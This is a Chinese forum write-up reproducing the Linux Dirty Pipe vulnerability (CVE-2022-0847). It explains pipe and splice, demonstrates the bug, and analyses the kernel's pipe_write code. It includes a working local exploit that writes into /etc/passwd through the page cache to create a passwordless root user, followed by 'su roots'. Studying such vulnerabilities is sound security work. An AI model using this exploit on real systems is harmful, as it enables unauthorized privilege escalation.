首页
社区
课程
招聘
CVE-2022-0847 dirtypipe漏洞复现
发表于: 2024-2-2 21:52 14187

CVE-2022-0847 dirtypipe漏洞复现

2024-2-2 21:52
14187

复现一下 dirty pipe漏洞

漏洞简介

漏洞发现者 Max Kellermann 并不是专门从事漏洞挖掘工作的,而是在服务器中多次出现了文件错误的问题,用户下载的包含日志的gzip文件多次出现CRC校验位错误, 排查后发现CRC校验位总是被一段ZIP头覆盖。

根据作者介绍, 可以生成ZIP文件的只有主服务器的一个负责HTTP连接的服务,但是该服务并没有写 gzip 文件的权限。即主服务器同时存在一个 writer 进程与一个 splicer 进程, 两个进程以不同的用户身份运行, splicer进程并没有写入writer 进程目标文件的权限, 但存在 splicer 进程的数据写入文件的 bug 存在。

有兴趣可以看看漏洞发现者写的原文。作者竟然是从一个小小的软件bug一步一步深挖到了内核漏洞,实在是佩服作者的这种探索精神。

环境准备

这里我按照自己复现准备的一个真实状态来写。

首先是准备一个被漏洞影响的版本内核,这里我使用了 5.8.0-63-generic 版本。本来之前打算直接 Ubuntu20.04LTS 一了百了,但是发现它内核有自动更新,下过来就是最新的,漏洞已经被修复了。所以这里直接用这个讲讲换这个内核的版本。

首先 apt 寻找这个版本:

1
apt-cache search linux | grep 5.8.0-63

然后我们在列表中寻一下

再用 apt 安装这个内核

1
sudo apt install linux-image-5.8.0-63-generic

安装完成之后, reboot 重启,开机界面按 shift+TAB 进入 ubuntu 引导界面,然后选择高级选项 advance,选择我们刚刚安装的那个内核进入启动。

成功替换指定的版本。

前置芝士

pipe

匿名管道,用于作为一个读写数据的通道,参数给一个长度为 2 的 int 数组,并通过这个数组返回,创建成功则返回对应的读写描述符,一端只能用于读,一端只能写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include
#include
 
int main(){
    char buffer[10];
    int pipe_fd[2]={-1,-1};
    pipe(pipe_fd);
    write(pipe_fd[1],"AAAA",4);
    read(pipe_fd[0],buffer,4);
    write(1,buffer,4);
}
/*
AAAA
*/

Splice

splice用于在两个文件描述符之间移动数据, 也是零拷贝

函数原型是 :

ssize_t splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out, size_t len, unsigned int flags);

参数解释:

  • fd_in:输入文件描述符
  • fd_out:输出文件描述符
  • len:移动字节长度
  • flags:控制数据如何移动。

返回值:

  • >0:表示成功移动的字节数
  • ==0:表示没有字节可以移动
  • <0:表示出现某些错误
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include
#include
#include
#include  
#include  
#include  
#include  
#include  
#include  
#include
 
int main(){
    int pipe_fd[2]={-1,-1};
    pipe(pipe_fd);
    write(pipe_fd[1],"AAAA",4);
    splice(pipe_fd[0],NULL,1,NULL,4,0);
}
/*
AAAA
*/


bug复现

做完上面两个前置芝士之后,应该能对 pipe 和 splice 稍微有点理解了,那么我们来复现一下 paper 上面说的 bug。把两个服务简化一下写出这两个程序:

创建一个 tmpfileuser 属主,权限 755。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//server1,user运行的服务,生成可执行文件为 p1
#include
#include
#include
char file[]="./tmpfile";
int main(){
    int p[2]={-1,-1};
    int fd=open(file,O_WRONLY);
    int i=2000;
    while(i--){
        write(fd,"AAAAA",5);
    }
    printf("write over\n");
}

下面这个是要准备去写之前准备的那个文件了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//server2,hacker运行的服务,生成可执行文件为p2
#include
#include
#include
#include
char file[]="./tmpfile";
int main(){
     
    int p[2]={-1,-1};
    int fd=open(file,O_RDONLY);
    char buffer[4096];
    memset(buffer,0,4096);
    if(pipe(p))abort();
    int nbytes1,nbytes2;
    while(1){
        nbytes1=splice(fd,NULL,p[1],NULL,5,0);
        nbytes2=write(p[1],"BBBBB",5);
        read(p[0],buffer,10);
        if(nbytes1==0||nbytes2==0)break;
    }
    close(fd);
}

我们这么操作:

先使用 user 用户创建一个 tmpfile,运行 p1 文件。

在这个文件中我们写了 5000 个 A,并且权限归 user 所有,只有它有写的权限。

切换回 hacker 用户,运行 p2 文件,我们发现 tmpfile 中间居然出现了 BBBBB

这就证明了这个漏洞的存在,这个漏洞的危害在于:只要文件可读,那我就可以写,这是非常危险的。

但是,我们不做任何操作,重启机器之后发现文件又变回了全 A 的状态。这说明,p2程序对tmpfile文件的修改仅存在于系统的页面缓存(page cache)中。

但是这个页面缓存在内核中,我们打开的文件会短暂停留在 page cache 当中,一段时间内我们打开的文件就相当于这个 page cache 的内容,所以我们更改了 page cache 其实也是可以达到修改文件的目的的。

exploit以及分析

这里我根据了我自己对这个漏洞的理解写了一个便于我们获取 root 权限的 exploit。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
#define PIPE_SIZE PAGE_SIZE*16
 
void SetCanMerge(int fd[2]){
    char buf;
    pipe(fd);
    for(int i=0;i
        write(fd[1],"a",1);
        read(fd[0],&buf,1);
    }
}
 
int main(){
    int pipefd[2];
    SetCanMerge(pipefd);
    int fd=open("/etc/passwd",O_RDONLY);
    splice(fd,NULL,pipefd[1],NULL,1,0);   
    write(pipefd[1],"oots:",5);
    system("su roots");
}

一步一步分析一下它的 exp。

首先我用了一个 SetCanMerge 函数去填满 pipe,这一步的作用是走完一遍 pipe 的缓冲区。pipe 的缓冲区是以页为单位的,总共是 16 页的环形缓冲区。这一步就是去设置所有 page 的 Can Merge 属性。这个 Can Merge 标识了这个 pipe 能否被续写。

我们先来介绍一下续写的概念,续写就是说在我总共 16 页的缓冲区中,我写了一个字符,那么它会被存储在下标为 0 的页的首地址中,我第二次写的时候会写在哪里呢?两个选择,一个是紧跟着后面去写,第二个是在后一页去写,显然为了内存考虑我们大部分会选择紧跟着后面去写,因为总共 16 页,不可能我扔了 16 个字符进管道管道直接就满了。所以我们设置了一个 flags ,它们当中有一位就是标志了是否能在上面续写。

显然我一个一个往里面去丢字符,它肯定会把 16 个页都设置为可以续写,所以这一步就是把 pipe 缓冲区都设置为可续写。第二步我们打开了一个 /etc/passwd 文件,这个文件所有用户可读,只有 root 用户可写,我们以只读的方式打开它获得一个文件描述符,然后通过 splice 向管道中拷贝一个字节的内容。

这里的拷贝一个字节因为是零拷贝,所以它不是真正的拷贝,而是直接把缓存页给挂到了 pipe 缓冲区当中。然而此时 Can Merge 属性又存在,所以我们再往管道里写数据的时候,会因为 Can Merge 而直接写 Page Cache 绕过了权限检查。

于是我们向 /etc/passwd 的第二个字节起写上五个字节 oots:,这样的话 /etc/passwd 的第一行变成了 roots::...,原本第一行的内容为 root:x:...,中间的 x 表示此用户有密码,而我们把 x 取消掉了,那么我们生成了一个 uid 为 0 且没有密码的用户 roots,那么我们通过 su roots 就能直接切换到 root 权限。

内核源码分析

调试环境搭建

这段时间搭建 Kernel Pwn 环境,刚好有时间来做一下源码分析,首先选取对应的内核版本,这里我用了 5.13.19。

首先环境搭建好建议先用 exp 去试试看看漏洞是否存在,这里我使用exp,的确是存在的。

那么我们就开始调试了。


这里提一嘴,我们编译的时候不要勾选 Reducing Debugging Information,不然 vmlinux 将不含结构体信息,调试的难度会大大增加。


pipe源码分析

对于pipe来说,最重要的是读和写对应的调用,它们在内核层名为 pipe_readpip_write,在 /source/fs/pipe.c 当中有完整的定义。

pipe_write

我们先来看看 pipe_write

函数完整的声明是:

1
static ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from);

我们一段一段来分析。

第一部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
    struct file *filp = iocb->ki_filp;
    struct pipe_inode_info *pipe = filp->private_data;
    unsigned int head;
    ssize_t ret = 0;
    size_t total_len = iov_iter_count(from);
    ssize_t chars;
    bool was_empty = false;
    bool wake_next_writer = false;
 
    /* Null write succeeds. */
    if (unlikely(total_len == 0))
        return 0;
    //...
}

第一个分支是如果 total_len==0 则直接 return 0,就是如果没有可写的数据,那么直接返回 0。

而中间的一个函数调用 iov_iter_count 仅仅是取得 iov_iter 中的 count 属性作为返回值,from 望文生义可以理解为是数据从哪里来(from),如果来的数据个数为 0 那么直接结束这次调用。

第二部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
static ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
    //...
    __pipe_lock(pipe);
 
    if (!pipe->readers) {
        send_sig(SIGPIPE, current, 0);
        ret = -EPIPE;
        goto out;
    }
 
    #ifdef CONFIG_WATCH_QUEUE
    if (pipe->watch_queue) {
        ret = -EXDEV;
        goto out;
    }
    #endif
 
    /*
     * If it wasn't empty we try to merge new data into
     * the last buffer.
     *
     * That naturally merges small writes, but it also
     * page-aligns the rest of the writes for large writes
     * spanning multiple pages.
     */
    head = pipe->head;
    was_empty = pipe_empty(head, pipe->tail);
    chars = total_len & (PAGE_SIZE-1);
    if (chars && !was_empty) {
        unsigned int mask = pipe->ring_size - 1;
        struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
        int offset = buf->offset + buf->len;
 
        if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
            offset + chars <= PAGE_SIZE) {
            ret = pipe_buf_confirm(pipe, buf);
            if (ret)
                goto out;
 
            ret = copy_page_from_iter(buf->page, offset, chars, from);
            if (unlikely(ret < chars)) {
                ret = -EFAULT;
                goto out;
            }
 
            buf->len += ret;
            if (!iov_iter_count(from))
                goto out;
        }
    }
    //...
}

先给这个管道上锁,然后判断如果 pipe 对象的 reader 为 0,那么直接给进程发送一个 SIGPIPE,通过查阅资料可得,大部分情况下,该信号会在写一个关闭一个 socket 对象时得到,那么这里同理,可能该管道已经关闭,但是仍往里面写数据。

随后这里的注释提到,如果给出的数据非空,那么尝试将新的数据写入缓冲区。随后这里进行一个判断,这里需要解释这里做的一个运算 chars = total_len & (PAGE_SIZE-1);PAGE_SIZE 通常情况下来说大小是 4096,刚好是一个 2 的 12 次幂,那么再 -1 相当于就是二进制的 12 个 1,再用 & 运算就是取得 total_len 最低的 12 位,如果管道非空(环形队列判非空仅仅是判 tail 和 head是否相等),且写入长度最低 12 位为 0(这个判断等价于写入的长度不为页的整数倍,可以理解为是 total_len % PAGE_SIZE!=0,但是取模运算挺浪费时间的所以转为位运算),那么执行这个分支。


[招生]科锐逆向工程师培训(2025年3月11日实地,远程教学同时开班, 第52期)!

收藏
免费 8
支持
分享
最新回复 (1)
雪    币: 3937
活跃值: (31411)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2024-2-4 09:32
1
游客
登录 | 注册 方可回帖
返回